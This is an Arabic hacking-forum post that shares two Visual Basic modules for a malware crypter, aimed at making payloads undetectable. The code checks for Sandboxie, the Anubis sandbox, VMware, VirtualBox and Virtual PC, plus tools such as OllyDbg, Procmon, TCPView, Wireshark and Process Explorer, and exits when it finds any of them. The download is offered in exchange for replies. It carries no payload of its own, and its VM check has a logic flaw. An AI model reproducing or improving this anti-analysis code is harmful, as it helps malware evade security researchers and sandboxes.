جروح الوفا
☼ عَبقري جَديد ☼
عدد المساهمات : 37
السٌّمعَة : 1
تاريخ التسجيل : 20/01/2011
العمر : 31
 
 |  موضوع: تعال اقذف الحمايات في الهاويه و شفر كلين من غير رحمه  الأربعاء فبراير 01, 2012 6:52 am | |
|  السلام عليكم يا اعضاء اكادمية الهكر الكرام ... كما هو بالعنوان اليوم راح  الحمايات ... شرح اكثر من رائع انصح الجميع بمتابعته .. وان شاء الله في كثير شروحات قادمه .. المهم حبايبي ... نشوف مع بعض نتيجه الدرس .. [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] كلييييييين اكيد ولا نرضى بغيره ابدااا ... راح نستعمل في الشرح 2 موديل الموديل : 1
الرمز:
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
Private Declare Function IsDebuggerPresent Lib "kernel32" () As Long
Private
Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA"
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private
Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As
Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As
Long) As Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1&
Const KEY_ALL_ACCESS = &H3F
Const TH32CS_SNAPMODULE = &H8
Dim AnubisID As String
Public Sub CheckAntis()
'Anti Sandboxie
If GetModuleHandle("SbieDll.dll") Then End
'Anti Anubis
Call AntiAnubis
'Anti VMware/Virtual Box/Virtual PC
Call IsVirtualPCPresent
'Anti TCP/UDP View
If FindWindow("TCPViewClass", "TCPView - Sysinternals: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] Then End
'Anti Procmon
If FindWindow("PROCMON_WINDOW_CLASS", "Process Monitor - sysinternals: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] Then End
'Anti Olly DBG
If FindWindow("OLLYDBG", vbNullString) Then End
'Anti PortMon
If FindWindow("PortmonClass", vbNullString) Then End
'Anti Process Explorer
If FindWindow("PROCEXPL", vbNullString) Then End
'Anti Wireshark
If FindWindow("gdkWindowToplevel", vbNullString) Then End
'Anti FileMon & RegMon
If FindWindow("18467-41", vbNullString) Then End
'Anti Debugger
If IsDebuggerPresent = 1 Then End
End Sub
Private Function AntiAnubis()
Dim ProductID As String, AnubisProductID As String
AnubisProductID = "76487-640-1457236-23837"
Dim Reg As Object
ProductID = (vbNullString)
Set Reg = CreateObject("WScript.Shell")
ProductID = Reg.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductID")
If ProductID = AnubisProductID Then End
End Function
Public Function IsVirtualPCPresent() As Long
Dim lhKey As Long
Dim sBuffer As String
Dim lLen As Long
If RegOpenKeyEx(&H80000002, "SYSTEMControlSet001ServicesDiskEnum", _
0, &H20019, lhKey) = 0 Then
sBuffer = Space$(255): lLen = 255
If RegQueryValueEx(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
sBuffer = UCase(Left$(sBuffer, lLen - 1))
Select Case True
Case sBuffer Like "*VIRTUAL*": IsVirtualPCPresent = 1
Case sBuffer Like "*VMWARE*": IsVirtualPCPresent = 2
Case sBuffer Like "*VBOX*": IsVirtualPCPresent = 3
If IsVirtualPCPresent = 1 Or 2 Or 3 Then End
End Select
End If
Call RegCloseKey(lhKey)
End If
End Function
|
الموديل :2
Private Function AntiAnubis()
Dim ProductID As String, AnubisProductID As String
AnubisProductID = "76487-640-1457236-23837"
Dim Reg As Object
ProductID = (vbNullString)
Set Reg = CreateObject("WScript.Shell")
ProductID = Reg.RegRead("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductID")
If ProductID = AnubisProductID Then End
End Function |
طيب التحميل الشرح + 2 موديل على الميديا فاير فقط حط رد و دعوه حلوه مثلك    | |
|
